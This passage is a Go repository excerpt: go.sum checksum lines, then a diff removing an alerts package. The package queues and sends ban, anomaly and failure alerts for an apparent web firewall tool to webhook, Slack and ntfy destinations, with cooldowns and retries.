github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
github.com/goccy/go-yaml v1.19.2/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA=
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 h1:b70jEaX2iaJSPZULSUxKtm73LBfsCrMsIlYCUgNGSIs=
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976/go.mod h1:ZGQeOwybjD8lkCjIyJfqR5LD2wMVHJ31d6GdPxoTsWY=
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 h1:c7gcNWTSr1gtLp6PyYi3wzvFCEcHJ4YRobDgqmIgf7Q=
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092/go.mod h1:ZZAN4fkkful3l1lpJwF8JbW41ZiG9TwJ2ZlqzQovBNU=
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
github.com/jcchavezs/mergefs v0.1.1 h1:D45R17m6dHnSVZefnhynoeZvcK2Uw0oTrRfoUOQ0S5Y=
github.com/jcchavezs/mergefs v0.1.1/go.mod h1:eRLTrsA+vFwQZ48hj8p8gki/5v9C2bFtHH5Mnn4bcGk=
github.com/kaptinlin/go-i18n v0.1.4 h1:wCiwAn1LOcvymvWIVAM4m5dUAMiHunTdEubLDk4hTGs=
github.com/kaptinlin/go-i18n v0.1.4/go.mod h1:g1fn1GvTgT4CiLE8/fFE1hboHWJ6erivrDpiDtCcFKg=
github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPsI1T64=
github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
github.com/magefile/mage v1.17.0/go.mod h1:Yj51kqllmsgFpvvSzgrZPK9WtluG3kUhFaBUVLo4feA=
github.com/maxmind/mmdbwriter v1.2.0 h1:hyvDopImmgvle3aR8AaddxXnT0iQH2KWJX3vNfkwzYM=
github.com/maxmind/mmdbwriter v1.2.0/go.mod h1:EQmKHhk2y9DRVvyNxwCLKC5FrkXZLx4snc5OlLY5XLE=
github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM=
github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
github.com/oschwald/maxminddb-golang/v2 v2.7.0 h1:ZcAr3GYc2LYC8aec2mCMX9+QOF0EolH3jDFKRV/Z1+U=
github.com/oschwald/maxminddb-golang/v2 v2.7.0/go.mod h1:DuKJLbbug6TXC0yJXgs1MWifvXHmudRWzMobMIUu04g=
github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=
github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 h1:Vpr4VgAizEgEZsaMohpw6JYDP+i9Of9dmdY4ufNP6HI=
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745/go.mod h1:EHPiTAKtiFmrMldLUNswFwfZ2eJIYBHktdaUTZxYWRw=
github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU=
github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE=
github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=
github.com/prometheus/client_model v0.6.2/go.mod h1:y3m2F6Gdpfy6Ut/GBsUqTWZqCUvMVzSfMLjcu6wAwpE=
github.com/prometheus/common v0.70.1 h1:1HvjP4D5oL3t8RsPlwxA9onvvStjtIHYE5XuuwOi/PY=
github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc=
github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI=
github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4=
github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/valllabh/ocsf-schema-golang v1.0.3 h1:eR8k/3jP/OOqB8LRCtdJ4U+vlgd/gk5y3KMXoodrsrw=
github.com/valllabh/ocsf-schema-golang v1.0.3/go.mod h1:sZ3as9xqm1SSK5feFWIR2CuGeGRhsM7TR1MbpBctzPk=
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ=
go.yaml.in/yaml/v2 v2.4.4/go.mod h1:gMZqIpDtDqOfM0uNfy0SkpRhvUryYH0Z6wdMYcacYXQ=
go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw=
go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg=
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M=
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c=
golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o=
golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To=
golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU=
golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk=
golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8=
golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M=
golang.org/x/tools v0.50.0 h1:c2ifzfcuY7L90lZ2aKd8S4K2NpASF08SZx9ZuJkHmSU=
golang.org/x/tools v0.50.0/go.mod h1:7ulVMw3831Mwi5EZD6RomGyffr4VFjuNYXf2BbCEAV0=
google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
rsc.io/binaryregexp v0.2.0 h1:HfqmD5MEmC0zvwBuF187nq9mdnXjXsSivRiXN7SmRkE=
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
internal/alerts/alerts.go
-941
View File
@@ -1,941 +0,0 @@
// Package alerts sends alerts on bans, on traffic over an anomaly
// threshold, on a source that fails and on a file with an error to each
// destination set: to the webhook
// SWW_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
// object" in docs/alerts.md describes, to the Slack incoming
// webhook SWW_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
// ntfy topic SWW_ALERT_NTFY_URL names. A repeat within
// SWW_ALERT_COOLDOWN is held back, and so is an alert past
// SWW_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
// bounded queue of each destination's own, so that a destination that is
// slow or unreachable holds up neither the others nor any request. The
// state is written to alerts.json and read from it by the state package.
// Nothing logged names a destination's URL, whose path or query can carry
// a secret.
package alerts
import (
"bytes"
"cmp"
"context"
"encoding/json"
"errors"
"fmt"
"io"
"log/slog"
"maps"
"net/http"
"net/netip"
"net/url"
"slices"
"strings"
"sync"
"sync/atomic"
"time"
)
// The events an alert is for, as SWW_ALERT_EVENTS names them.
const (
// EventBan is a ban sww made.
EventBan = "ban"
// EventPermanentBan is a permanent ban sww made, or a ban it
// made permanent.
EventPermanentBan = "permanent_ban"
// EventAnomaly is a count of requests or bytes over an anomaly
// threshold.
EventAnomaly = "anomaly"
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
// SWW_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
// detect mode.
EventCoreRuleSetMatch = "core_rule_set_match"
// EventReputationHit is a request whose client a blocklist, the
// CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score
// is a hit.
EventReputationHit = "reputation_hit"
// EventSourceFailure is GeoJS failing or refusing sww, a fetch
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
// failing or refused, or the day's AbuseIPDB checks used up.
EventSourceFailure = "source_failure"
// EventFileError is a rule file or state file edited while sww
// runs that does not parse, a replacement of the lookup database that
// cannot be read, or a state file that cannot be written.
EventFileError = "file_error"
// EventSummary is the summary sent as an hour ends: of the alerts held
// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
// back by the cooldowns dropped as it ends, which no alert let through
// has given. It is sent with SWW_ALERT_MAX_PER_HOUR off too, for
// those repeats. SWW_ALERT_EVENTS does not name it.
EventSummary = "summary"
)
// Events returns every event SWW_ALERT_EVENTS can name, which is its
// default.
func Events() []string {
return []string{
EventBan, EventPermanentBan, EventCoreRuleSetMatch, EventAnomaly,
EventReputationHit, EventSourceFailure, EventFileError,
}
}
// The destinations alerts are sent to, as the metrics and alerts.json
// name them.
const (
// DestinationWebhook is the webhook SWW_ALERT_WEBHOOK_URL names.
DestinationWebhook = "webhook"
// DestinationSlack is the Slack incoming webhook
// SWW_ALERT_SLACK_WEBHOOK_URL names.
DestinationSlack = "slack"
// DestinationNtfy is the ntfy topic SWW_ALERT_NTFY_URL names.
DestinationNtfy = "ntfy"
)
// Destinations returns every destination alerts can be sent to.
func Destinations() []string {
return []string{DestinationWebhook, DestinationSlack, DestinationNtfy}
}
const (
// queueSize is the most alerts that wait to be sent to a destination.
// Past it, the oldest is dropped.
queueSize = 1000
// sendTimeout bounds one request to a destination.
sendTimeout = 10 * time.Second
// After a request to a destination fails, the alert is sent again a
// second later, and retryDelayFactor times as long after each further
// failure in a row, up to a minute.
firstRetryDelay = time.Second
retryDelayFactor = 2
maxRetryDelay = time.Minute
// maxAnswerBytes is the most of a destination's answer that is read.
maxAnswerBytes = 64 << 10
)
var (
errStatus = errors.New("the destination answered")
// errRefused is a 4xx answer other than 408 and 429: the destination
// refuses the alert itself, and would refuse it again.
errRefused = errors.New("the destination refused the alert, answering")
)
// Params are what New needs. With none of WebhookURL, SlackURL and
// NtfyURL set, no alert is sent.
type Params struct {
// WebhookURL is where each alert is posted as JSON
// (SWW_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
// are sent with each (SWW_ALERT_WEBHOOK_HEADERS).
WebhookURL *url.URL
WebhookHeaders http.Header
// SlackURL is the Slack incoming webhook each alert is posted to as a
// message (SWW_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
SlackURL *url.URL
// NtfyURL is the ntfy topic each alert is published to
// (SWW_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
// empty, is sent with each as a bearer token (SWW_ALERT_NTFY_TOKEN).
NtfyURL *url.URL
NtfyToken string
// Events are the events alerts are sent for (SWW_ALERT_EVENTS).
Events []string
// Cooldown is how long a repeat of an alert is held back
// (SWW_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
// sent in an hour (SWW_ALERT_MAX_PER_HOUR), 0 for no limit.
Cooldown time.Duration
MaxPerHour int
// Instance is SWW_INSTANCE_NAME, which every alert gives.
Instance string
// Now tells the time of an alert, normally time.Now in UTC.
Now func() time.Time
// ProcessLog receives the requests to a destination that fail.
ProcessLog *slog.Logger
}
// Alert is one alert, as the webhook is sent it and alerts.json holds it,
// with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and
// Country are, for a ban, the client's as the ban's notes give them. Host is
// the site of the request that raised the alert, while one discriminator serves
// many sites, and "" otherwise.
//
//nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case
type Alert struct {
Instance string `json:"instance"`
Time time.Time `json:"time"`
Event string `json:"event"`
Host string `json:"host,omitempty"`
Client netip.Addr `json:"client"`
Netblock netip.Prefix `json:"netblock"`
ASN string `json:"asn"`
ASName string `json:"as_name"`
Country string `json:"country"`
// Reason is a short sentence, and Detail what is particular to the
// event: for a file_error, its "file", for a source_failure, its
// "source", and for an anomaly, its "scope", with the "asn" or the
// "name" of some scopes, which the cooldown tells repeats by.
Reason string `json:"reason"`
Detail map[string]any `json:"detail"`
// SuppressedRepeats is how many repeats of the alert the cooldown
// held back since the last one let through. For a summary, it is how
// many the cooldowns dropped as the hour ended had held back that no
// alert let through gave.
SuppressedRepeats int `json:"suppressed_repeats"`
}
// Cooldown is, for an event on a netblock, about a file or a source, or
// for an anomaly in a scope, when the last alert let through was raised,
// and how many repeats the cooldown has held back since, as alerts.json
// holds it.
//
//nolint:tagliatelle // the state files use snake_case, as the request log does
type Cooldown struct {
Event string `json:"event"`
Netblock netip.Prefix `json:"netblock"`
File string `json:"file,omitempty"`
Source string `json:"source,omitempty"`
Scope string `json:"scope,omitempty"`
ASN string `json:"asn,omitempty"`
Name string `json:"name,omitempty"`
Sent time.Time `json:"sent"`
SuppressedRepeats int `json:"suppressed_repeats"`
}
// Hour is the hour under way, by the clock, as alerts.json holds it: when
// it started, how many alerts were let through in it, and how many were
// held back in it past MaxPerHour, by event, for its summary.
//
//nolint:tagliatelle // the state files use snake_case, as the request log does
type Hour struct {
Start time.Time `json:"start"`
Sent int `json:"sent"`
HeldBack map[string]int `json:"held_back"`
}
// State is what alerts.json holds: the cooldowns, the hour under way, and
// for each destination set, the alerts waiting to be sent to it, oldest
// first.
type State struct {
Cooldowns []Cooldown `json:"cooldowns"`
Hour Hour `json:"hour"`
Waiting map[string][]Alert `json:"waiting"`
}
// Counts are, for a destination, how many alerts it took, how many
// requests to it failed, and how many alerts were dropped from its full
// queue or given up as it refused them.
type Counts struct {
Sent, SendFailures, Dropped int64
}
// Queue takes the alerts raised, holds back those it must, and sends the
// others to each destination set, from a queue of the destination's own.
// It is safe for concurrent use.
type Queue struct {
params Params
// destinations are the destinations set, in the order of
// Destinations.
destinations []*destination
mu sync.Mutex
// cooldowns are the alerts last let through, by event and netblock,
// file, source or scope.
cooldowns map[cooldownKey]*Cooldown
hour Hour
suppressed atomic.Int64
}
// destination is a destination set, with the alerts waiting to be sent
// to it. Its mu is taken after the Queue's, never before.
type destination struct {
// name is how the metrics and alerts.json name the destination, and
// setting the setting that is its URL, which the log names in place
// of the URL.
name string
setting string
url *url.URL
// message returns the body an alert is posted with, and the headers
// sent with it.
message func(alert *Alert) ([]byte, http.Header, error)
// httpClient follows no redirect: a redirect is a failure.
httpClient *http.Client
processLog *slog.Logger
// queued receives a value when an alert joins the queue, unless one
// waits already, so that run looks at the queue again.
queued chan struct{}
mu sync.Mutex
// waiting are the alerts waiting to be sent, oldest first.
waiting []*Alert
sent, sendFailures, dropped atomic.Int64
}
// cooldownKey is what makes an alert a repeat of another: the same event
// on the same netblock, and about the same file or source, or in the same
// scope with the same AS number or name, as its detail names them. Each
// is empty for an alert without one.
type cooldownKey struct {
event string
netblock netip.Prefix
file string
source string
scope string
asn string
name string
}
// cooldownKeyOf returns what makes another alert a repeat of alert.
func cooldownKeyOf(alert *Alert) cooldownKey {
file, _ := alert.Detail["file"].(string)
source, _ := alert.Detail["source"].(string)
scope, _ := alert.Detail["scope"].(string)
asn, _ := alert.Detail["asn"].(string)
name, _ := alert.Detail["name"].(string)
return cooldownKey{alert.Event, alert.Netblock, file, source, scope, asn, name}
}
// New returns a Queue with no alert yet.
func New(params Params) *Queue {
q := &Queue{
params: params,
cooldowns: map[cooldownKey]*Cooldown{},
hour: Hour{HeldBack: map[string]int{}},
}
if params.WebhookURL != nil {
q.addDestination(DestinationWebhook, "SWW_ALERT_WEBHOOK_URL",
params.WebhookURL, q.webhookMessage)
}
if params.SlackURL != nil {
q.addDestination(DestinationSlack, "SWW_ALERT_SLACK_WEBHOOK_URL",
params.SlackURL, slackMessage)
}
if params.NtfyURL != nil {
q.addDestination(DestinationNtfy, "SWW_ALERT_NTFY_URL",
params.NtfyURL, q.ntfyMessage)
}
return q
}
// Raise sends alert, which names its event and what is particular to it,
// unless no destination is set or SWW_ALERT_EVENTS leaves its event
// out. It gives alert the instance and the time. An alert that repeats
// the last one let through less than Cooldown before is held back and
// counted. The next one let through gives that count, unless an hour of
// the clock ends first after the cooldown has run out: the cooldown is
// then dropped, and that hour's summary gives the count. Past MaxPerHour
// alerts let through in the hour under way, an alert is held back for
// that hour's summary instead, which is sent once the hour has ended; it
// starts no cooldown. Raise never waits: an alert let through joins the
// queue of each destination, from which Run sends it, and with queueSize
// alerts waiting for a destination, the oldest is dropped.
func (q *Queue) Raise(alert Alert) {
if len(q.destinations) == 0 || !slices.Contains(q.params.Events, alert.Event) {
return
}
q.mu.Lock()
defer q.mu.Unlock()
now := q.params.Now()
alert.Instance = q.params.Instance
alert.Time = now
if q.repeat(&alert, now) {
q.suppressed.Add(1)
return
}
q.endHour(now)
if q.params.MaxPerHour > 0 && q.hour.Sent >= q.params.MaxPerHour {
q.hour.HeldBack[alert.Event]++
q.suppressed.Add(1)
return
}
q.startCooldown(&alert, now)
q.hour.Sent++
q.queue(&alert)
}
// WouldSend reports whether Raise would let an alert for event on
// netblock through now: a destination is set, SWW_ALERT_EVENTS chooses
// event, no alert for event on netblock was let through less than
// Cooldown before, and fewer than MaxPerHour alerts have been let through
// in the hour under way. Unlike Raise, it counts nothing.
func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool {
if len(q.destinations) == 0 || !slices.Contains(q.params.Events, event) {
return false
}
q.mu.Lock()
defer q.mu.Unlock()
now := q.params.Now()
last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}]
if q.params.Cooldown > 0 && found && now.Sub(last.Sent) < q.params.Cooldown {
return false
}
q.endHour(now)
return q.params.MaxPerHour == 0 || q.hour.Sent < q.params.MaxPerHour
}
// Run sends the alerts waiting to each destination, from its own queue,
// as destination.run does, until ctx is done. It also ends each hour as
// Raise does, so that the hour's summary is sent as it ends. With no
// destination set, it returns at once.
func (q *Queue) Run(ctx context.Context) {
if len(q.destinations) == 0 {
return
}
var sending sync.WaitGroup
for _, d := range q.destinations {
sending.Go(func() { d.run(ctx) })
}
for {
q.mu.Lock()
untilHourEnds := q.hour.Start.Add(time.Hour).Sub(q.params.Now())
q.mu.Unlock()
select {
case <-ctx.Done():
sending.Wait()
return
case <-time.After(untilHourEnds):
q.mu.Lock()
q.endHour(q.params.Now())
q.mu.Unlock()
}
}
}
// Counts returns the counts of the destination name, all 0 for one not
// set.
func (q *Queue) Counts(name string) Counts {
for _, d := range q.destinations {
if d.name == name {
return Counts{
Sent: d.sent.Load(),
SendFailures: d.sendFailures.Load(),
Dropped: d.dropped.Load(),
}
}
}
return Counts{}
}
// DestinationsSet returns the destinations set, in the order of
// Destinations.
func (q *Queue) DestinationsSet() []string {
names := make([]string, 0, len(q.destinations))
for _, d := range q.destinations {
names = append(names, d.name)
}
return names
}
// Suppressed is how many alerts were held back: by the cooldown, and past
// MaxPerHour. No destination is sent such an alert.
func (q *Queue) Suppressed() int64 {
return q.suppressed.Load()
}
// Snapshot returns the queue's state, as alerts.json holds it, with the
// cooldowns sorted by netblock, then by event, file, source, scope, AS
// number and name.
func (q *Queue) Snapshot() State {
q.mu.Lock()
defer q.mu.Unlock()
state := State{
Cooldowns: make([]Cooldown, 0, len(q.cooldowns)),
Hour: q.hour,
Waiting: map[string][]Alert{},
}
state.Hour.HeldBack = maps.Clone(q.hour.HeldBack)
for _, cooldown := range q.cooldowns {
state.Cooldowns = append(state.Cooldowns, *cooldown)
}
slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int {
return cmp.Or(a.Netblock.Compare(b.Netblock), cmp.Compare(a.Event, b.Event),
cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source),
cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN),
cmp.Compare(a.Name, b.Name))
})
for _, d := range q.destinations {
state.Waiting[d.name] = d.snapshot()
}
return state
}
// Load puts state, read from alerts.json, in place of the queue's state.
// Each cooldown's netblock is masked to its length, so that
// 203.0.113.9/24 is 203.0.113.0/24. The alerts waiting for a destination
// that is not set are dropped, and so are the oldest past queueSize
// alerts waiting for one that is.
func (q *Queue) Load(state State) {
q.mu.Lock()
defer q.mu.Unlock()
q.cooldowns = map[cooldownKey]*Cooldown{}
for _, cooldown := range state.Cooldowns {
cooldown.Netblock = cooldown.Netblock.Masked()
key := cooldownKey{
cooldown.Event, cooldown.Netblock, cooldown.File, cooldown.Source,
cooldown.Scope, cooldown.ASN, cooldown.Name,
}
q.cooldowns[key] = &cooldown
}
q.hour = state.Hour
q.hour.HeldBack = maps.Clone(state.Hour.HeldBack)
if q.hour.HeldBack == nil {
q.hour.HeldBack = map[string]int{}
}
for _, d := range q.destinations {
d.load(state.Waiting[d.name])
}
}
// addDestination adds a destination: its name, the setting that gives
// its URL, that URL, target, and message, which makes the messages sent
// to it.
func (q *Queue) addDestination(
name, setting string, target *url.URL,
message func(alert *Alert) ([]byte, http.Header, error),
) {
q.destinations = append(q.destinations, &destination{
name: name,
setting: setting,
url: target,
message: message,
httpClient: &http.Client{
CheckRedirect: func(*http.Request, []*http.Request) error {
return http.ErrUseLastResponse
},
},
processLog: q.params.ProcessLog,
queued: make(chan struct{}, 1),
})
}
// repeat reports whether alert, raised at now, repeats the last one let
// through less than Cooldown before, and counts it if it does.
func (q *Queue) repeat(alert *Alert, now time.Time) bool {
if q.params.Cooldown == 0 {
return false
}
last, found := q.cooldowns[cooldownKeyOf(alert)]
if !found || now.Sub(last.Sent) >= q.params.Cooldown {
return false
}
last.SuppressedRepeats++
return true
}
// startCooldown gives alert, let through at now, the count of the repeats
// held back since the last one let through, and notes alert as the last
// one let through.
func (q *Queue) startCooldown(alert *Alert, now time.Time) {
if q.params.Cooldown == 0 {
return
}
key := cooldownKeyOf(alert)
last, found := q.cooldowns[key]
if found {
alert.SuppressedRepeats = last.SuppressedRepeats
}
q.cooldowns[key] = &Cooldown{
Event: alert.Event, Netblock: alert.Netblock, File: key.file, Source: key.source,
Scope: key.scope, ASN: key.asn, Name: key.name, Sent: now,
}
}
// endHour ends the hour under way, if now is past it. It drops the
// cooldowns that have run out, whatever repeats they held back, so that
// they do not pile up, and queues that hour's summary when alerts were
// held back in it past MaxPerHour, or when a cooldown dropped had held
// back repeats, which no alert let through has given: the summary gives
// them.
func (q *Queue) endHour(now time.Time) {
start := now.Truncate(time.Hour)
if !start.After(q.hour.Start) {
return
}
repeats := 0
for key, cooldown := range q.cooldowns {
if now.Sub(cooldown.Sent) >= q.params.Cooldown {
repeats += cooldown.SuppressedRepeats
delete(q.cooldowns, key)
}
}
heldBack := 0
for _, count := range q.hour.HeldBack {
heldBack += count
}
var reasons []string
if heldBack > 0 {
reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
}
if repeats > 0 {
reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+
"SWW_ALERT_COOLDOWN that no later alert gives", repeats))
}
if len(reasons) > 0 {
q.queue(&Alert{
Instance: q.params.Instance,
Time: now,
Event: EventSummary,
Reason: strings.Join(reasons, "; "),
Detail: map[string]any{
"hour": q.hour.Start, "count": heldBack, "events": q.hour.HeldBack,
},
SuppressedRepeats: repeats,
})
}
q.hour = Hour{Start: start, HeldBack: map[string]int{}}
}
// queue adds alert to the alerts waiting for each destination.
func (q *Queue) queue(alert *Alert) {
for _, d := range q.destinations {
d.add(alert)
}
}
// run sends the alerts waiting, oldest first, until ctx is done. An alert
// stays in the queue until the destination answers it with a 2xx status,
// or refuses it with a 4xx status other than 408 and 429: a refused alert
// is logged, counted as dropped, and given up, so that the next is sent.
// Any other request that fails is logged, and the alert sent again
// firstRetryDelay later, retryDelayFactor times as long after each
// further failure in a row, up to maxRetryDelay.
func (d *destination) run(ctx context.Context) {
var (
retryDelay time.Duration
retryAt time.Time
)
for {
alert := d.oldest()
var due <-chan time.Time // nil while no alert waits
if alert != nil {
due = time.After(time.Until(retryAt))
}
select {
case <-ctx.Done():
return
case <-d.queued:
case <-due:
err := d.send(ctx, alert)
switch {
case err == nil:
d.remove(alert)
d.sent.Add(1)
retryDelay = 0
retryAt = time.Time{}
case errors.Is(err, errRefused):
d.remove(alert)
d.sendFailures.Add(1)
d.dropped.Add(1)
retryDelay = 0
retryAt = time.Time{}
d.processLog.Warn("gave up an alert "+d.setting+" refused",
"event", alert.Event, "error", err.Error())
case ctx.Err() == nil: // not cut off as sww stops
d.sendFailures.Add(1)
retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay),
maxRetryDelay)
retryAt = time.Now().Add(retryDelay)
d.processLog.Warn("sending an alert to "+d.setting+" failed",
"error", err.Error(), "sending_again_in", retryDelay.String())
}
}
}
}
// add adds alert to the alerts waiting, first dropping the oldest while
// queueSize wait, and has run look at the queue again.
func (d *destination) add(alert *Alert) {
d.mu.Lock()
defer d.mu.Unlock()
if len(d.waiting) == queueSize {
d.waiting = slices.Delete(d.waiting, 0, 1)
d.dropped.Add(1)
}
d.waiting = append(d.waiting, alert)
select {
